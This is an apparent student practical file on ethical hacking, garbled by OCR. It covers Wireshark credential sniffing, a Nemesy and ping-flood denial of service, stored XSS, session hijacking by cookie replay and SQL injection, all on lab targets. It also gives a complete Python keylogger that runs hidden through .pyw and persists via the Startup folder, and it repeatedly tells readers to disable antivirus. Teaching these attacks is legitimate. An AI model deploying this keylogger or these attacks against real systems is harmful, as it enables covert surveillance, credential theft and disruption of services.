Right click on Entry Containing POST /userinfo

| 7856 352.679982 192.168.1.48 44,228.249.3 HTTP 699 POST /userinfo.php HTTP/1.1 (application/x-www-form-urlencoded)

Click Follow Stream -> HTTP Stream
Now we can see the credentials.
uname=test

pass=test

‘ Wireshark « Fellow HTTP Stream (tcp.stream eq 44) - Ethernet

POST fuserinfo.php HTTP/1.1

Host: testphp.vulnweb.com

Connection: keep-alive

Content-Length: 28

Cache-Control: max-age=8

Origin: http://testphp.vulnweb.com

Content-Type: application/x-www-form-urlencoded

Upgrade-Insecure-Requests: 1

User-Agent: Mozilla/5.8 (Windows NT 18.8; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.8.8.8 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=8.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://testphp.vulnweb.com/login.php

Accept-Encoding: gzip, deflate

Accept-Language: en-US,en;q=8.9

uname=test&pass=test /

| uname=testlpass=test «—

B) Denial of Service.
Before Downloading Nemesy Disable Realtime Security
1.Download and launch Nemesy.

Link-Nemesy Download

& Nemesy 7/14/2001 12:10 AM Application 44 KB
|=] readme 7/13/2001 2:32 AM Text Document 1KEB

2. Enter the victim IP and set the Number of Packets and set delay.

fgr'p Memesy - ready — X
Wictim IP: {192.166.1.51 | [ _send |
Packets

Humber: |EI Size: [r4096 Delayms]: |10 it |

3. Click Send

16
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:,4 Memesy - sending (35|infinite packets) — >

"ictim [P |'IE!2.'IEB.EE.'I
Packetz

Humber:; |0 Size: 14096 Drelaymz); |1 et

We can see that infinite packets are being sent to target ip.

Or as an Alternative method we can use ping flood to cause DOS

ping -t <target IP> -1 65500

C:\Users\Sumit Yadav>ping -t 192.168.1.8 -1 65500

Pinging 192.168.1.8 with 65500 bytes of data:

Reply from 192.168.1.8: bytes=65500 time<lms

Reply from 192.168.1.8: bytes=65500 time<lms
Reply from 192.168.1.8: bytes=65500 time<lms
Reply from 192.168.1.8: bytes=65500 time<lms

Ping flood can be performed between Host os and Guest OS.

Pinging from Host-Windows 11 to Guest OS i.e Windows 7

TTL=128
TTL=128
TTL=128
TTL=128

17




TYCS Roll No: 18

PRACTICAL NO: 6

Aim: Persistent Cross Site Scripting Attack

» Set up a vulnerable web application that is susceptible to persistent XSS attacks.
* Craft a malicious script to exploit the XSS vulnerability and execute arbitrary code.
* Observe the Consequences of the attack and understand the potential risks associated with XSS

vulnerabilities.

Disable Realtime Security before beginning with the steps.
1.Download XAMPP (64 bit) and Install XAMPP: XAMPP
Installing XAMPP is important before downloading DVWA
2.Download DVWA and extract DVWA: DVWA

DVWA will be downloaded as Vulnerable APIs source code

=

&7 Vulnerable APls source code

WIinRAR ZIP archive

R digininja-DVWA-296943d 29 20 E File folder

3.Rename the downloaded digininja-DVWA as DVWA

A Dvwa

4.Paste the DVWA folder at C:\xampp\htdocs

This PC SSD (C) xampp htdocs

Name

l dashboard
B DvwA

l img

l webalizer
B xampp

o applications
ﬂ bitnami

B3 favicon

B index

Date modified

06-02-2025 13:12
06-02-2025 13:15
06-02-2025 13:12

06-02-2025 13:12

Type

File folder

File folder

File folder

File folder

File folder
Microsoft Edge HT...
Cascading Style Sh...
lcon

PHP File

5.0pen DVWA folder then open config folder

. config.ine.php.dist

Rename the config file to config.inc

L=

I

L]

™
[g1]

__ config.inc 06-02-2025 13:39
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Erase the .php.dist section
6.Open the config file with notepad

Change the username to “root”

(1524

Change the password field to

S DVWA = array();

$_DVWA[ 'db server' ] = getenv('DB_SERVER') 7: "127.0.0.1%;

$ DVWA[ 'db database' getenv('DBE DATABASE') ?: 'dvwa';

$ DVWA[ 'db user' ] getenv ('DB USER') ?: 'root';
$ DVWA[ 'db password' ] = getenv('DB PASSWORD') ?:ie¢''5——
$_DVWA[ 'db port'] = getenv('DB PORT') 7?: '3306';

—

-

7.Save the config file and Open XAMPP control panel
Start Apache and Mysql from XAMPP control panel.

XAMPP Control Panel v33.0 [ Compiled: Apr 6th 2021 ] oo /=]
XAMPP Control Panel v3.3.0 " contio
Modules
Service Module  PID(s) Port(s) Actions @ Netstat
Apache 150 80,443 [ siop | [ Admin | [ config |[ Logs | | [ Shel
MysaL 3120 3308 [ Siop § [ Admin | [ Config || Logs | [ | Explorer |
FileZila Start Smin config |[ Loss | [ % services
Mercury Start Jmin Config [ Logs ] [ @ Help l
Tomcat Start r Config | Logs ] [ Ouit
8:04:56 PM [main] All prereguisites found .
8:04:56 PM [main] Initializing Modules
80456 PM [main] Starting Check-Timer
04°56 PN [main] Control Panel Ready

04

04:57 PM [Apache] Attempting to start Apache app...
60458 PM [Apache] Status change detected: running

05:02 PM [mysql]  Attempting to start MySQL app... =

0502 PM [mysqgl]  Status change detected: running

8.Visit - http://localhost/DVWA/setup.php from browser

click on the reset database

Create / Reset Database

9.Following will be output
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Database has been created.

'users' table was created.

Data inserted into 'users' table.
‘guestbook’ table was created.

Data inserted into 'guestbook’ table.

Backup file /config/config.inc_php.bak automatically
created

Setup successfull

10.Login with username and password for Logging in.
Username — admin

Password — password

localhost/DVWA/login.php

=& ]
- [E] Login = Damn Vulnerable Wel + - ===

O O ©+ localhost %0% ¥ ® & =

ovwa)

Logn

[N

11.Then navigate to DVWA security level and set the security to low and click on submit.
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DVWA Security

<
Q
z :
> g
3
A4

o
N
Z
)
<
ol
[
-
(¢
=
=}
o
w
=
=
—
43
(=7

DVWA Security &
Security Level

Security level is currently: low.

You can set the securily level to low, medium, high or impossible. The security level changes the
vulnerapility level of DVWA:

1. Low - This security level is and has no atall. its useis to
be as an example of how web application vuinerabilities manifest through bad coding practices and
1o serve as a pialform to teach or leam basic exploitation lechnigues.

2 Medium - This setting is mainly to give an example to the user of bad security practices, where the
developer has tried but falled to Secure an application. It also acts as a challenge to users to refine
their exploitation techniques.

3_High - This option is an extension to the medium difficuity, with a mixture of harder or alternative bad
practices to attempt to secure the code. The wulnerability may not allow the same extent of the
exploitation, similar in various Capture The Flags (CTFs) competitions.

4. Impossible - This level should be secure against all vulnerabilities. It is used to compare the

vulnerable source code to the secure source code.

Prior to DVWA v1.9, this level was known as ‘high”

Ea—T

y

13.Enter the Name and Message as follows:

Name: ABC
Message: <script>
{ alert(“Hello”)
}

</script>
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Vulnerability: Stored Cross Site Scripting (XSS)

Name * |a8C |
<script>
R {alert(nello”)
J=Iseript- Y

[Sign Guestbook | [Clear Guestbook |

Name: test
Message: This is a test comment

More Information

= NITpsYiowasp.orgh

OMMUNITY/atacks/xss
nmunity/xss-filter-evasion-cheatsheet
Cross-site_scripting

n/x5s-faq html

riptaleril.com.

b3
a
@
"]

tored)

14.Then Click on Sign Guestbook.

Output:

[Sign Guestbook | [Clear Guestbook |

"

22




TYCS Roll No: 18

PRACTICAL NO: 7

Aim: Session Impersonation with Firefox and Tamper Data

a. Install and configure the Tamper Data add-on in Firefox.
b. Intercept and modify HT TP requests to impersonate user’s session.

c. Understand the impact of session impersonation and the importance of session management.

Solution:
Step1: Install and open Firefox Browser. Go to Addons and search Tamper Data.

Type about:addons and hit enter

o | @ 8

@ @ Add-onsforFircfox (en-US) % | § Add-ons Manager X
& C @ Firefox  about:addans w @ & =
~
Find more add-ons
> Recommendations Personalize Your Firefox il
Q] Extensions
Extensions and themes are like apps for your browser, and they let you protect passwords, download
videos, find deals, block annaying ads, change how your browser looks, and much more. These smal
G Themes software programs are often developed by a third party. Here's a selection Firefox recommends for
exceptional security, perfarmance, and functionality.
9 Plugins L
Some of these recommendations are personalized. They are based on other extensions
you've installed, profile preferences, and usage statistics. Learn more
snen 2 Se D Mod
rGrT nen 2 Seas Dark Mod tostall Theme
y hutte Angard
P S
€3 Firefox Settings &5 Add to Firefox
Y
® Add-ons Support
1 2.2 3 8 4
. .
.
Step2: Search Tamper Data and click on Add to Firefox
(& 08 s 3 mozilla.org : amy 2 5 2 & =

Firefox Add-ons Blog ~ Extension Workshop®  Daveloper Hub & Login

R

25 results found for "tamper data"

Filter results Search results

Sort by h Tamper Data for FF Quantum 3,880 usars
- Moniltor live requasts - Edit headers on live requests -

Relevance hd ve req quests

Cancel live requasts - Rediract live raquests Click the
Jpe blue cloud in the toolbar 1o start tampering. When you're
dane, click it again 10 stop.
Al ~ ko Pamblam
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Firefox Add-ons Blog ~ Extension Workshop *  Daeveloper Hub @ Log in

*‘ FIAmB 5—6 NS Extensions

¢ 3880 79

Tamper Data for FF 4 E
Quantum : .
by Pamblam

A This add-on is not actively monitored for sacurity by Mazilla. Make sure
you trust it befora installing

Learn mare

- Monitor live requests - Edit headers on live Add to Firefox

requests - Cancel live requests - Redirect live
requests Click the blue cloud in the toolbar to
start tampering. When you're done, click it again
10 Stob.

Step3: Search for Cookie Editor and click on Add to Firefox.

Firefox Add-ons Blog aansion \ - oper Hub & Log in

** FA“BE)_ONS Extensions Themes More... ~

Available on Firefox for Android™
77915 182

Cookie-Editor : E
by cgagnier :

& This add-on is not actively monitored for security by Mozilla. Make sure
yOu trust it before installing.

Learn more

Cookie-Editor lets you efficiently create, edit and Add to Firefox

delete a cookie for the current tab, Perfect for
developing, quickly testing or even manually
managing your cookies for your privacy.

Step 4: After adding both the addons, In new tab visit http://www.techpanda.org/

Step 5: Enter Credentials.
Enter Email: admin@google.com

Enter Password: Password2010

@ | [H Login | Personol Contacts Mar. % |+ I

o8 techpanda.crg

Login | Personal Contacts Manager v1.0
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Click Submit after entering credentials.

Following page opens,

@ ‘ [ Dashboard | Personal Contact: % | + v ESE3 ]
& & O B ww-techpanda.org/dashboard.pk ﬁ ) $ =
A
Dashboard | Personal Contacts Manager v1.0
| AddHew Contct
ID First Name Last Mobile No Email Actions
Name
1 mynams Jenelry 88050395898 admingiigmail com
80195 :3;”6 saduen contacts main admin adminggoogle.com Edit
80487  uihgh;dig jbin 01143578380 admingagoogle.com Edit
89198  neha shalkh 65687425 afa@gmal com Edit
89188  ved WeWqe 1213243546758  wedant@pmail com Edit
89200 abc 08870678456 amrita upadhyay2023@gmail com  Edit
89201  dfozsdoingni nafndig fgniggn fdgnafgn@aric.com Eait
ge20z d a [ d@g.com Eait
80203 Dark Maiden 87635444242 darkmaiden@ociupus. ps Edit
89204  Dark Maiden 87635444242 darkmaiden@ociupus. ps Edit
89205 rk Maiden 87635444242 darkmaiden@octupus.ps Edit
89208 Maiden 67635444242 darkmaiden@ocopus.ps Edt
ag207 Maiden 87635444242 darkmaiden@ociupus. ps Eat
80208 Maiden 87635444242 darkmaiden@ociupus ps Eat
89208  sonu shah 8807564322 knixomail com Edit

Step 6: Click on Cookie Editor Add-on on top right corner. Copy Session id.
| " fo N ==

@ | [H Dashboard | Personal Contact: % | +

& (& B www techpanda.org/dashboard.ph & @ g =
~
} Extensions
Dashboard | Personal Contacts Manager v1.0
Tamper Data for FF Quantum
‘ always read and change data on this @
Last
ID First Name ; Mobile No Email
Name Cookie-Editor
Permission needed to read and change
1 mynams enetry 9528989898 admin@gr . d _“‘ ; e b
no one said u can :
89195 contacis main admin admin@ge
add Manage extensions
89187  uihgh;dfg jbilm 01143578380 admin@gouyre v cun
89198 nehs shalkh 65687425 afa@gmal com Edit
89199 ved Wewge 1213243546758  wedant@gmail. com
89200 abc 08870678456 amrita upadhyay2023@amail.com
80201  ofozsdbingnt namndtg fgntagn fdgndign@aric.com Edit
89202 d d d a@g.com Eagit
Click Allow
| o
= 73
@ | [ Dashboard | Personal Contact: % + L v e
& C O 8 hiipsy//wwwitechpanda.org/dashboar % © Bl =
' Coolkie- Editor requests additional permissions.
Dashboard | Personal Contacts Manager® — , . .
e
Add New Contact = Access your data for sites in the techpanda.org domain
= Accessyour data for www.techpanda.org
Last Learn mgre
D First Name E
Mame
Allew Deny
1 mynams |enefry 9698089698 at
4 ca
#9198 nn‘ f‘ne sgueen confacts main admin adming@google oom Edit

Click on Cookie Editor from Addons tab Again
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Copy Session ID: Example--> PHPSESSID=9nvnr2j49keggfs815m1f6
[—

cf4s

e (e ]
@ @ Dashboard | Personal Contact: X = + o E
€ C QO 8 https//wwwtechpanda.org/dashboard.php L 8| =
Cookie-Editor £ ‘E}
Dashboard | Personal Contacts ‘
Ad Nomechesp | Get a COM fo just $598 Hot interested_Later
a
ID First Name . -| * PHPSESSID |
Name
1 mynams enefry 88 Hame
e 2 B PHPSESSID
89196 fo one said u can Valve
confacls mal
& 9nvnr2j49keggfs815m1f6cis

80107  uihgh:dfg joim ol g

89198 neha shaikh 656 R

89193  ved wewge 121

89200 abe 088 + W 5 B

89201 afbzsdbingnl nainafg fgnfagn fdgndfgn@aric.com Eat
Don’t Logout from techpanda.org and close the tab directly.
Step7: Go to options/privacy/ and delete the cookies.
about:preferences:#privacy
scroll down and click on clear data

T & < x|+ >, s
€ [e] @ Firefox {%J 2 8 =
Settings
@ General !
@ Home ) Custom &

Choose which trackers and scripts to block,

Q Search

& Privacy & Security

Send websites a "Do Not Track” signal that you don't want to be tracked Learn more

() Always
Q Sync

© Only when Firefox is set to block known trackers

L1 More from Moxzilla
Cookies and Site Data
Your stored cookies, site data, and cache are currently using 10.. Clear Data...
disk space. Learn more
Manage Data...

[] Delete cookies and site data when Firefox is closed N
Manage Exceptions...

9 Extensions B Themes

@ Firetox Support Logins and Passwords:

3 Ask to save logins and passwords for websitas Exceptions...
Click on Clear then click on clear now
« C @ Firefox  about:preferences#privacy w @ ﬂ =

Clear Data

ies and site data

Selecting 'Clear hiow will clesr ail cookies and site data stored by Firefox. This may sign you out of

‘websites and remove offline web content,

TOU T3y Ot STOMed OUt O WeDsTes IT (eared

9 Cached Web Content (0 bytes)
Will require websites 10 reload images and data
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Step8: Click on top right corner on Extensions tab and click on Tamper Data.

= C @ Firefox  about:preferences#privacy

. Teeeddetor FF Quantum
C

Can't read and change dats on this site

. Cookie-Editor
_ Custom Can't read and change data on this site

Choose which trackers and scripts to block.

@3 General
@ Home
Q Search

[El] Privacy & Security

Manage extensions

Send websites a “Do Not Track” signal that you don't want to be tracked  Learn more
Always

l’:‘ Syne Q Only when Firefox is set to block known trackers

j11l More from Mozilla

Click on Start Tamper Data. (Yes)

Type
[ beacen Requests sent through the Beacon AP B
[] csp_report  Requests sent to the report-uri given in the Content-Security-Policy header, when an attempt to violate the policy is detectad
[ font Web fots loaded for a @font-face CSS rule
[ smage Resources loaded to be rendered as image, except for imageset on browsers that suppert that fype.
[ imagesat Images loaded by a <pictures element of Ziven i aa £img> element's srcset anmbute
main_fame Top-level documents loaded iato a1ab.
[ media Resources loaded by a <video> or <audio> element
[ object Rerourcss loaded by an <object> or <ambad> element.
[ object_sobrequest Requests sent by plugins.
[ ping Requests sent to the URL given in a hypeslink's ping attribute, when the hypelink is followed.
[ seript Code that is loaded to be exscuted by a <script> element or roasing i 2 Worker,
[ speculative A TCP/TLS handshake made by the browser when it defermines it will need the conmection open oon.
[ stylesheet CSS stylesheets loaded to describe the represestation of'a docoment.
(] sub_frame Docoments loaded into an <iframe> or cframe> element:
[ web_manifest Web App Manifests loaded for websites that can be mstalled to the homescreen.
[ websocket Requests initiating a connection 1o a server through the WebSocket APL
[ =t XBL bindings loaded to extend the behavior of elements ia a document.
[ xmi_ded DTD: loaded for an XML document
xmihetprequest Requests sent by an XML HupRequest object or through the Fetch APL
[ sl XSLT stylesheets loaded for transforming an XML document
() other Resources that aren't covered by any other available type

Tamper with requests who's URL matches: (=)
Tamper requests only from this tab: []

Start Tamper Data?

Yes No, Cancel

Step:9 Open a new tab visit http://www.techpanda.org/index.php

Following window opens.

Click Ok

8
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Edtension: (Tamper Data for FF Quantum) - St.. | o | [ x|+ v =]le™=

Details p/inde @ f =
b

URL https://www.techpanda.org/index.php n

Method  GET &

Type main_frame

Request Body a Firefox

This request has no request body.

Stop Tamper Cancel Request

Ok

e B ®© @

addons.mozilla sectools sourceforge archive
.
Click on Add header.
. T o[ @[=
Estension: (Tamper Dats for FF Quantum) - Stert Tamper Dat... | ©  E x|+ v
~
. 9 g —
Details ®a =
URL https./mww.techpanda.org/index.php 7
Method GET g
Type main_frame . f
Headers V e o
Host wwwi techpanda.ong
User-Agent Maozillafs.0 (Windows NT 6| | -
Accept text/html,application/xhtmi | | -
Accept-Language en-US,eng=0.5
Accept-Enceding gzip, defiate, br -
Connection keap-alive - ‘ E: <‘> @
Upgrade-insecure-Request: |1 -
Sec-Fetch-Dest document - oaille sectools sourceforge archive
Sec-Fetch-Mode navigate - h
Sec-Fetch-Site none
Sec-Fetch-User El B
siam % W
v L

Add header Cookie and paste the copied session id and click ok

Cookie ’ FHP$E$S ID=9nwrrZj49keq| -

Now again start the tamper data from the top right corner and repeat the same steps for the following
url

http://techpanda.org/dashboard.php
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_ r o|@ =
Extension: (Tamper Data for FF Quantur) - Start Ta... | s | = [s3e] BB chksprac - ProtectedTest X+ Login| Personal Contect X |+ v

Details board.phy @ N =

| Open application meﬂu]

URL https:werw.techpanda.org/dashbeard.php nal Contacts Manager v1.0
Method GET

Type main_frame

Request Body

This request has no request body.

Stop Tamper Cancel Request Ok

Click Ok

Then, find the Cookie header and paste the session id .

_ = = o | @ =
Bdension: (Temper Data for FF Quantum) - Stat Tamper D...| — | = h ehkaprac - ProtectedText * Login | Pessonal Contact X ar b s
-
Details |3 php ® a =
URL https.//www.iechpanda.org/dashboard php Contacts Manager v1.0
Method GET
Type main_frame
Headers
Host wnw.techpanda.org
User-Agent Mozilla/5.0 (Windows NT 6‘ - |
Accept text/html application/xhtm
Accept-=Language en:USeng=0 5 ‘ .|
Accept-Enceding gzip, defiate, br
Connection keap-alive I[-]
}Mg/’ PHPSESS ID=mredkgld8hwn | | -
Upgrade-insecura-Request: | 1 ‘ -
Sec-Fetch-Dest document -
Sac-Fatch-Mode navigate I[-]
Sec-Fetch-Site none -
Sec-Fetch-User Eal I[-]
Add Header
Fam o T - 0, =

Click ok.

You will be logged in directly without logging in.
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PRACTICAL NO: 8
Aim: SOL Injection Attack

o |dentify a web application vulnerable to SQL injection.
o Craft and execute SQL injection queries to exploit the vulnerability.

e Extract sensitive information or manipulate the database through the SQL injection attack.

Disable Realtime Security before beginning with the steps.

1.Download XAMPP (64 bit) and Install XAMPP: XAMPP

Installing XAMPP is important before downloading DVWA
2.Download DVWA and extract DVWA: DVWA

DVWA will be downloaded as Vulnerable APIs source code

8- Vulnerable APls source code : WinRAR ZIP archive

M digininja-DVWA-a96943d 4 File folder

3.Rename the downloaded digininja-DVWA as DVWA

B ovwa

4.Paste the DVWA folder at C:\xampp\htdocs

B > ThisPC > SSD(C) > xampp > htdocs
Name Date modified Type

B dashboard 06-02-2025 13:12 File folder
B pbvwa 06-02-2025 13:15 File folder
[ | img 06-02-2025 13:12 File folder
B webalizer 06-02-2025 13:12 File folder

n Xxampp 06-02-2025 13:12 File folder

o applications 15-06-2022 21:37 Microsoft Edge HT...
! bitnami 15-06-2022 21:37 Cascading Style Sh...
‘ favicon 16-07-2015 21:02 Icon

B index 16-07-2015 21:02 PHP File

5.0pen DVWA folder then open config folder

__ config.inc.php.dist

Rename the config file to config.inc.php
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Erase the “.dist” section

6.0Open the config file with notepad Change the username to “root” Change the password field to

(132

$ DVWA = array();

$ DVWA[ 'db server' ] = getenv ('DB_SERVER") ?: "127.0.0.1";
$_DVWR[ 'db_database' ] getenv('DB_DATRBASE') P "dvwa';

$ DVWA[ "db user' ] getenv('DB _USER') ?: 'root'; «—
$_DVWR[ 'db password' ] getenv ('DBE PASSWORD') ?: "'} «———
$_DVWE[ 'db port'] = getenv('DB PORT') ?: "3306";

7.Save the config file and Open XAMPP control panel

Start Apache and Mysql from XAMPP control panel.

[-] XAMPP Control Panel v330 [ Compiled: Apr 6th 2021 ] o[- |
XAMPP Control Panel v3.3.0 [ oo _
Modules -’
Service Module  PID(s) Port(s) Actions D Notwind
Apache S 80,443 | swp || Admn || config |[ Logs | | [ Shes
MysaL 3120 3306 [ Siop ]| Admn | [ Config |[ Logs | [ . Explorer
FileZila Start.| | Admin Config || Logs | | ® Services
Mercury | Start ] . Config || Logs 1 G & Help
Tomcat Start | [ Config J[LLogs | | [ Quit
3.04.56 PM [main] All prerequisites found =
456 PM [main] Initializing Modules
156 PM [main] Starting Check-Timer
56 PM [main] Control Panel Ready

3.04 57 PM [Apache] Attempting to start Apache app...
J4.58 PM [Apache] Status change detected: running
502 PM [mysql] Attempting to start MySQL app...

2 PM [mysql]  Status change detected: running

m

8.Visit - http://localhost/DVWA/setup.php from browser

click on the reset database

Create / Reset Database

9.Following will be output
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Database has been created.

‘'users' table was created.

Data inserted into 'users' table.
'‘guestbook’ table was created.

Data inserted into 'guestbook’ table.

Backup file /config/config.inc.php.bak automatically
created

Setup successfull

10.Login with username and password for Logging in.

Username admin Password — password

localhost/DVWA/login.php

o= 11.Set the DVWA security level in

DVWA security tab to low.

Home DVWA Security =

Setup / Reset DB Security Level
Security level is currently” low.

You can set the security level to low, medium, high or impossible. The securily level changes the

Command Injection vulnerability level of DVWA:

CSRF 1. Low - This security level is completely vulnerable and has no security measures at all. If's use is fo
File be as an example of how web through bad coding practices and
Inclusion 1o serve as a platform to teach or leam basic exploitation techniques

Medium - This setting is mainly to give an example to the user of bad Security practices, where the
developer has fried but failed to secure an application. It also acts as a challenge to users to refine

|

Insecure CAPTCHA their exploitation techniques.
3. High - This option is an extension to the medium difficulty, with a mixture of harder or alternative bad
SQL Injection practices to attempt to secure the code. The vulnerability may not allow the same extent of the

exploitation, similar in various Capture The Flags (CTFs) competitions.
Ir - This level should be secure against all vulnerabilities. It is used to compare the

Weak Session vuinerable source code to the secure source code.
% Prior to DVWA v1.9, this level was known as ‘high

Low v || Submit

g
I

12. Navigate to SQL Injection tab:
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wrerabaty SULIneebon s X - o x

© G Q localhost

* O @

O Welcome o my cho. 03 41 Sooiemars

oyin)

o Vulnerability: SQL Injection
Instructions.
‘Setup [ Reset DB

8 MG O v D eiube B9

faer 1) Submi.

Brute Force
Command injection
CSRF -

More Information

Fils Inclusion

SOL Injection (Blind)
Weak Seasion IDs
%33 (DCM)

X33 (Renecteq)
X88 (stored)

CSP Bypass.
Javaseript
Authorizstion Bypass
Open HTTP Redirect
Cryptography

el

DVWA Sacurlty.
PHP Info

13.In user ID section enter 1:

v B

sty SOLIection s 0. X - o8 x

3 G © lacahost/dv

sser token=3ecSaNb3N2ab2066TT T 2005567267 A 0 o

Inerabilitiesfsali/Zid=1&Submit=5

8% | Mocmal 9 Mes @ Yeulwbe [ SEuni2 o

ome 12 my cha.

DV@A)

] Vulnerability: SQL Injection
Instructons
Setup / Reset DB User 0 Submit

Brute Foree
Command Injection
csRE
File Inclusion More Information
File Upload .

Insecure CAPTCHA. :

XS5 [Stored)

CSP Bypass.
Javaseript
Authorisation Bypass
Open HTTP Redirect
Cryptography

DVWA Security
PHP info

14.Enter User ID as ‘OR ‘a’=’a

~ | [ Vwirerabify: SQUInection =0 X @ DVWASQL Injction Tios X @ Wt [ - 8 x
“ C @ localhast/dwafvulnerabiliti Tid=527 ITHIDHKITat +ESubmit=S * O @
8% | MoGmal 9 Mips & veuwbe [5 SEunt2 Googe. O Welcome to my cha [ AllBookmars

Instructions ]
Setup f Resat DB |

Brute Force
Command Injection
CSRF
File Inclusion
File Upload
Insecure CAPTCHA

S0L injection (Biine)
Weak Session I0s
88 (0OM) e ob
— Surnens: Snith
38 (Stored)
CSP Bypass More Information
JovaSeript
Authorisation Bypass
Open HTTP Redirect
Cryptography

APt

DVWA Security
PHP Info
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15.Enter user ID as 2

~ B e soL X 8 DVWASCLInfestion T x x o+ o X

€ 5 0 (O kst ook =2eH b S92 « 0@

B MGrs  Mops DB [ sEunn

oyin)

Vulnerability: SQL Injection

Homs |

Instructions

Sowp | Reset DB | et 1D | | Submt |

Brute Force
Command injection
GSRF

File Inciusion More Information
File Upload
Insecure CAPTCHA

QL Injection (Blind)
Wask Ssasion IDs
xs300m)

X85 (Reflecee)

XSS (Stored)

c3 Bypa:
Javaseript
Authorisation Bypsas
Open HTTP Redirect
Crystograpny.

an |

DV Securty ]
PHe it 1

16.Enter User ID as 3

v B Vidrmestitg SO njcton =0 X o+ o x

« C @ localhosyahiavulnerabilties/sall - 385 ubmit-Sumi * O @

82 mces 9 wsps @ v [ suncs Gaege. Ok wecimewryon 3 anscokmarks

=) Vulnerability: SQL Injection

Setup { Raset 08 ser 1D | st |

Brute Force
Gemmand mjeetion

CsRF

File Inclusion More Information
Fie Uplasd

Insecure CAPTGHA

L injacson (Bina)
Wieak Seesion 1Dy

X85 (DOM)

X85 (Reflected)

X85 (stored)

17.Enter User ID as 4
v [B Vulnersbility: SQL Injection= D X (@ (56) WhatsApp x4+ - o X

Inerabilit

€ C @ localhostidvw qli/7id=485ubmit=submits # 9 0

Guogle, O Welcome te my cha, 3 Al Bockmarks
o
D\#A)

P Vulnerability: SQL Injection
Instructions |

Setup | Reset DB | Userld [ [Submit]

0.

83 | M Gmel 9 Maps @ VouTube B

Fle Inclusion More Information
File Upload .
Insecura CAPTCHA N

$QL Injection (Blind)
Weak Session IDs
X8$ (DOM)

X88 (Reflected)

XSS (Storsd)

CSP Bypass
Javascript
Autnorisation Bypass
Open HTTP Redirect
Cryptography

APl

DVWA Securlty |

PHP Info
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PRACTICAL NO: 9

Aim: Creating Kevlogger with python

1.Write a Python script to capture and log keystrokes.

2.Execute the script and observe logged keystrokes.

3.Understand the security risks associated with keyloggers and the importance of protection.

Pre-requisites:

Install pynput library:
pip install pynput

C
C

ollecting pynput

:\Users\Sumit>pip install pynput

Using cached pynput-1.7.7-py2.py3-none-any.whl (98 kB)

Installing collected packages: pynput

Successfully installed pynput-1.

7.7

Before writing the python script we need to turn off the real time security settings.

® Virus & threat protection settings

View and update Virus & threat protection settings for Microsoft
Defender Antivirus.

Real-time protection

Locates and stops malware from installing or running on your device. You
can turn off this setting for a short time before it turns back on
automatically.

@ o

Steps to Implement Keylogger:
Step 1: Write the Python Script

Real-time protection

Locates and stops malware from installing or running on your device. You
can turn off this setting for a short time before it turns back on
automatically.

€ Real-time protection is off, leaving your device vulnerable.

@) of

Create a new Python file and add the following code:

from pynput.keyboard import Key, Listener
import logging

# Set the directory where logs will be stored
#change this directory as per your pc directory
log_dir ="C:/Users/Sumit/Desktop/EH"

# Configure logging to store key logs
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logging.basicConfig(filename=(log_dir + "key log.txt"), level=logging. DEBUG, format='%(asctime)s:
%(message)s')

# Function to capture keystrokes

def on_press(key):
logging.info(str(key))

# Start listening for key presses

with Listener(on_press=on_press) as listener:

listener.join()
pynput.keyboard Key, Listener
logging
# Set the directory where logs will be stored
log dir = "C:/Users/sumit/Desktop/EH"

¢ Configure logging to store key logs
logging.basicConfig(filename=(log dir + "key log.txzt"), level=logging.DEBUG, format='%(asctime)s: %(message)s')
# Function to capture keystrokes
on_press(key):
logging.info(str(key)
# Start listening for key presses
Listener (on press=on press) listener:
listener.join()

#fix_for unicode error

In case we get an unicode error try changing the \ to /

Step 2: Save the File

Save the file with a .pyw extension (e.g., keylogger.pyw) to run it in the background without opening a
console window.

- v 4 5> ThisPC > Desktop > EH v O SearchEH s |
Organize New folder B -
f
[&| Documents A Name Date modified Type Size
=/ Pictures ]
No items match your search,
config
w Local Disk (D)
php
Practical_6
@ OneDrive
% This PC
¥ 3D Objects
[ Desktop v < >
File name: | keylogger.pyw o
Save as type: | Python files ~
A Hide Folders Cancel

Step 3: Copy to Startup Folder (optional step)

# We can directly place it on desktop rather than saving on startup folder
#optional step
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Copy the saved file to the system startup folder so it runs automatically on startup.
Press Win + R, type %appdata%, and navigate to:
C:\Users\YourUsername\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup

Paste the keylogger.pyw file here.

Step 4: Run the Script

Double-click the keylogger.pyw file to execute it in the background.

~

Name Date modified Type Size

__n-" keylogger 06-02-2025 20:49 Python File {(no console) 1KB

Step 5: Check Logged Keystrokes

The keystrokes will be logged in key log.txt inside the specified directory.

=| EHkey_log 06-02-2025 20:54 Text Document 12 KB
Output:
Il £Hkey log - Notepad
File Edit Format View Help
2025-02-06 20:53:01,065: 'k’ -
|2025-02-06 20:53:01,165: ‘e’
2025-02-06 20:53:01,332: 'y’
2025-02-06 20:53:01,551: '1°'
2025-02-06 20:53:01,703: 'o'
2025-02-06 20:53:01,939: 'g'
2025-02-06 20:53:02,030: 'g'
2025-02-06 20:53:02,212: 'e'
{2025-02-06 20:53:02,362: 'r’'
12025-02-06 20:53:02,512: Key.enter
2025-02-06 20:53:18,761: Key.enter
2025-02-06 20:53:22,588: Key.backspace
2025-02-06 20:53:23,067: Key.shift_r
2025-02-06 20:53:23,387: Key.enter
2025-02-06 20:53:24,900: Key.backspace
i Lnt,Col 1 170%  Windows (CRLF) UTF-8

Security Considerations

Keyloggers are powerful tools and can be misused for malicious purposes.
Always use them ethically for security testing and educational purposes.

Protect your system by using anti-keylogging software and keeping your antivirus updated
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PRACTICAL NO: 10

Aim: Exploiting with Metasploit (Kali Linux)

¢ Identify a vulnerable system and exploit it using Metasploit modules
* Gain unauthorized access to the target system and execute commands or extract information.

* Understand the ethical considerations and legal implications of using Metasploit for penetration testing

1. Setting Up the Environment
Virtual Machine Configuration:
e Use Kali Linux as the attacker machine and Windows 7 as the target system.

e Configure both VMs in Bridge Adapter mode (so they act as separate systems on the same

network).
Vulnerable Software Installation:
o Install BadBlue on Windows 7 (a vulnerable file server with buffer overflow issues).

e Download BadBlue from the FileBear website and install it.

Launch BadBlue on Windows 7

|- o -

<@ BadBlue: the file-sharing web serve: X + v

(¢} O D 12700.1/extdi?mfcsapicommand=loadpage&page=indexht w 8§ =

3 BadBlue
ENTERPRISE
EDITION

File search:

Search using a partial word (inv matches
invoices), by file extension , mp3, xls,
...) or with multiple words (photo

rould match all files that include
we photo and album).

BadBIue

ENTERPRISE EDITION

